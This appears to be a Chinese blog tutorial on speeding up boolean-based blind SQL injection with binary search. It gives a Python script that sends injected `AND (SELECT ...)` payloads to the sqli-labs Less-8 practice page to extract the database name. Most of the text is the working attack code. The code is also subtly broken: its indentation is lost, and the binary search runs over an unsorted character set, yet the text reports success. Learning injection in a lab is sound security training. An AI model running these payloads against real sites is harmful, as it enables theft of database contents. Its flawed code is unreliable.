为了优化自动化布尔盲注的代码,我们可以使用二分查找来减少猜测次数,从而提高效率。
以靶场sqli为例:

python
import requests
# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
# 推断数据库名的长度
def get_database_length():
length = 0
while True:
length += 1
payload = f"1' AND (SELECT length(database()) = {length}) -- "
response = requests.get(url, params={"id": payload})
if "You are in..........." in response.text:
return length
if length > 50: # 防止无限循环
break
return 0
# 使用二分查找推断数据库名
def get_database_name(length):
db_name = ""
for i in range(1, length + 1):
left, right = 0, len(charset) - 1
while left <= right:
mid = (left + right) // 2
char = charset[mid]
payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "
response = requests.get(url, params={"id": payload})
if "You are in" in response.text:
left = mid + 1
else:
right = mid - 1
db_name += charset[right]
return db_name
# 主函数
if __name__ == "__main__":
length = get_database_length()
if length > 0:
print(f"Database length: {length}")
db_name = get_database_name(length)
print(f"Database name: {db_name}")
else:
print("Failed to determine database length.")
代码解释:
get_database_length
函数:与原代码相同,用于推断数据库名的长度。get_database_name
函数 :- 使用二分查找来推断数据库名的每一个字符。
- 对于每一个位置
i
,初始化左右指针left
和right
分别指向字符集的起始和结束位置。 - 在每次循环中,取中间位置
mid
的字符char
,构造 SQL 注入 payload 进行判断。 - 如果判断结果为真,则将左指针
left
移动到mid + 1
;否则,将右指针right
移动到mid - 1
。 - 当
left > right
时,循环结束,此时charset[right]
即为该位置的正确字符。
- 主函数 :调用
get_database_length
函数获取数据库名的长度,然后调用get_database_name
函数推断数据库名,并输出结果。
运行结果:
成功字符比对出数据库长度和名称